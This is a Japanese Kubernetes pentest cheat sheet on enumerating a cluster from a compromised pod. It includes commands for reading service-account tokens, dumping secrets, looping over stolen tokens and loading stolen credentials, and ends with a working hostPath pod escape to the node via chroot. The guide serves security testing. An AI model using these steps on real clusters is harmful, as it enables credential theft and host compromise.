# Kubernetes Enumeration {{#include ../../banners/hacktricks-training.md}} ## Kubernetes Tokens もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var `KUBECONFIG`**で指し示されるファイルか、**`~/.kube`**の中にあります。 このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダも見つかります。 Kubernetes環境内のポッドを侵害した場合、現在のK8環境に関するトークンや情報を見つけることができる他の場所があります: ### Service Account Tokens 続ける前に、Kubernetesにおけるサービスが何であるか知らない場合は、**このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読むことをお勧めします。** Kubernetesの[ドキュメント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)からの引用: _「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」_ **ServiceAccount**はKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。\ すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。 通常、次のディレクトリの**1つ**に: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` ファイルが含まれています: - **ca.crt**: Kubernetes通信を確認するためのCA証明書です - **namespace**: 現在の名前空間を示します - **token**: 現在のポッドの**サービストークン**が含まれています。 トークンを取得したので、環境変数**`KUBECONFIG`**内でAPIサーバーを見つけることができます。詳細については、`(env | set) | grep -i "kuber|kube"`**`"`**を実行してください。 サービスアカウントトークンは、ファイル**sa.key**に存在するキーによって署名され、**sa.pub**によって検証されます。 **Kubernetes**のデフォルトの場所: - /etc/kubernetes/pki **Minikube**のデフォルトの場所: - /var/lib/localkube/certs ### Hot Pods _**Hot podsは**_ 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。 ## RBAC **RBAC**が何であるか知らない場合は、**このセクションを読んでください**。 ## GUI Applications - **k9s**: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドは[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)で確認してください。`:namespace`と入力し、すべてを選択してから、すべての名前空間でリソースを検索します。 - **k8slens**: 無料トライアル日数を提供しています:[https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet K8s環境を列挙するには、次のものが必要です: - **有効な認証トークン**。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。 - **Kubernetes APIのアドレス(**_**https://host:port**_**)**。これは通常、環境変数やkube設定ファイルに見つかります。 - **オプション**: **APIサーバーを検証するためのca.crt**。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、`kubectl`で`--insecure-skip-tls-verify`を使用するか、`curl`で`-k`を使用すれば必要ありません。 これらの詳細を使用して、**Kubernetesを列挙**できます。何らかの理由で**API**が**インターネット**を通じて**アクセス可能**であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。 しかし、通常**APIサーバーは内部ネットワーク内にあるため**、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**`kubectl`**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを送信できます。 ### Differences between `list` and `get` verbs **`get`**権限を持つと、特定の資産の情報にアクセスできます(_`kubectl`の`describe`オプション_)。 ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` **`list`** 権限がある場合、資産の種類をリストするための API リクエストを実行することが許可されます (_`kubectl` の `get` オプション_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` **`watch`** 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されています: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` ストリーミング接続を開き、Deploymentが変更されるたび(または新しいものが作成されるとき)に完全なマニフェストを返します。 > [!CAUTION] > 次の `kubectl` コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、`get` の代わりに `describe` を使用する必要があります。 ### curlを使用する ポッド内から、いくつかの環境変数を使用できます: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] > デフォルトでは、ポッドは **`kubernetes.default.svc`** ドメイン名の **kube-api サーバー** に **アクセス** でき、**`/etc/resolv.config`** で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。 ### Using kubectl トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスします: デフォルトでは、APISERVER は `https://` スキーマで通信しています。 ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` > URLに`https://`が含まれていない場合、Bad Requestのようなエラーが発生する可能性があります。 [**公式のkubectlチートシートはこちら**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)で見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。 `kubectl`が送信するHTTPリクエストを見つけるには、パラメータ`-v=8`を使用できます。 #### MitM kubectl - kubectlのプロキシ化 ```bash # Launch burp # Set proxy export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` ### 現在の構成 {{#tabs }} {{#tab name="Kubectl" }} ```bash kubectl config get-users kubectl config get-contexts kubectl config get-clusters kubectl config current-context # Change namespace kubectl config set-context --current --namespace= ``` {{#endtab }} {{#endtabs }} もしユーザーの資格情報を盗むことができたら、次のような方法で**ローカルに設定**できます: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ --auth-provider-arg=idp-issuer-url=( issuer url ) \ --auth-provider-arg=client-id=( your client id ) \ --auth-provider-arg=client-secret=( your client secret ) \ --auth-provider-arg=refresh-token=( your refresh token ) \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` ### サポートされているリソースの取得 この情報を使用すると、リストできるすべてのサービスがわかります {{#tabs }} {{#tab name="kubectl" }} ```bash k api-resources --namespaced=true #Resources specific to a namespace k api-resources --namespaced=false #Resources NOT specific to a namespace ``` {{#endtab }} {{#endtabs }} ### 現在の権限を取得 {{#tabs }} {{#tab name="kubectl" }} ```bash k auth can-i --list #Get privileges in general k auth can-i --list -n custnamespace #Get privileves in custnamespace # Get service account permissions k auth can-i --list --as=system:serviceaccount:: -n ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' \ --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \ "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" ``` {{#endtab }} {{#endtabs }} 特権を確認する別の方法は、ツールを使用することです: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* **Kubernetes RBAC** について詳しく学ぶことができます: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} **どの特権を持っているかがわかったら、** 次のページを確認して **それらを悪用して特権を昇格できるかどうかを調べてください:** {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} ### 他の役割を取得する {{#tabs }} {{#tab name="kubectl" }} ```bash k get roles k get clusterroles ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" ``` {{#endtab }} {{#endtabs }} ### 名前空間の取得 Kubernetesは、同じ物理クラスターに基づく**複数の仮想クラスター**をサポートしています。これらの仮想クラスターは**名前空間**と呼ばれます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get namespaces ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` {{#endtab }} {{#endtabs }} ### シークレットを取得する {{#tabs }} {{#tab name="kubectl" }} ```bash k get secrets -o yaml k get secrets -o yaml -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ ``` {{#endtab }} {{#endtabs }} 秘密を読むことができれば、次の行を使用して各トークンに関連する権限を取得できます: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### サービスアカウントの取得 このページの冒頭で説明したように、**ポッドが実行されると通常サービスアカウントが割り当てられます**。したがって、サービスアカウント、権限、および実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get serviceaccounts ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ``` {{#endtab }} {{#endtabs }} ### デプロイメントの取得 デプロイメントは、**実行**する必要がある**コンポーネント**を指定します。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get deployments k get deployments -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} ### ポッドを取得する ポッドは実際の**コンテナ**であり、**実行**されます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get pods k get pods -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//pods/ ``` {{#endtab }} {{#endtabs }} ### サービスの取得 Kubernetes **サービス**は、**特定のポートとIPでサービスを公開するために使用されます**(これは実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get services k get services -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/services/ ``` {{#endtab }} {{#endtabs }} ### ノードを取得 **クラスター内に構成されたすべてのノードを取得**します。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get nodes ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/nodes/ ``` {{#endtab }} {{#endtabs }} ### DaemonSetsの取得 **DaemonSets**は、**特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get daemonsets ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets ``` {{#endtab }} {{#endtabs }} ### Cronジョブを取得 Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get cronjobs ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs ``` {{#endtab }} {{#endtabs }} ### configMapを取得する configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続および検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get configmaps # -n namespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps ``` {{#endtab }} {{#endtabs }} ### ネットワークポリシー / Ciliumネットワークポリシー {{#tabs }} {{#tab name="最初のタブ" }} ```bash k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` {{#endtab }} {{#endtabs }} ### すべてを取得 / すべて {{#tabs }} {{#tab name="kubectl" }} ```bash k get all ``` {{#endtab }} {{#endtabs }} ### **Helmによって管理されているすべてのリソースを取得する** {{#tabs }} {{#tab name="kubectl" }} ```bash k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' ``` {{#endtab }} {{#endtabs }} ### **ポッドの消費量を取得する** {{#tabs }} {{#tab name="kubectl" }} ```bash k top pod --all-namespaces ``` {{#endtab }} {{#endtabs }} ### ポッドからの脱出 新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootする必要があります。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスが表示されるためです。 ```bash kubectl get pod [-n ] -o yaml ``` > 特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。 > > `k get nodes --show-labels` > > 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するのに適したラベルです。 その後、attack.yaml ファイルを作成します。 ```yaml apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: ubuntu imagePullPolicy: Always name: attacker-pod command: ["/bin/sh", "-c", "sleep infinity"] volumeMounts: - name: host-fs mountPath: /root restartPolicy: Never # nodeName and nodeSelector enable one of them when you need to create pod on the specific node #nodeName: master #nodeSelector: # kubernetes.io/hostname: master # or using # node-role.kubernetes.io/master: "" ``` その後、ポッドを作成します。 ```bash kubectl apply -f attacker.yaml [-n ] ``` 次のように作成したポッドに切り替えることができます。 ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` そして最後に、ノードのシステムにchrootします。 ```bash chroot /root /bin/bash ``` 情報は次から取得されました: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) ## 参考文献 {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}} {{#include ../../banners/hacktricks-training.md}}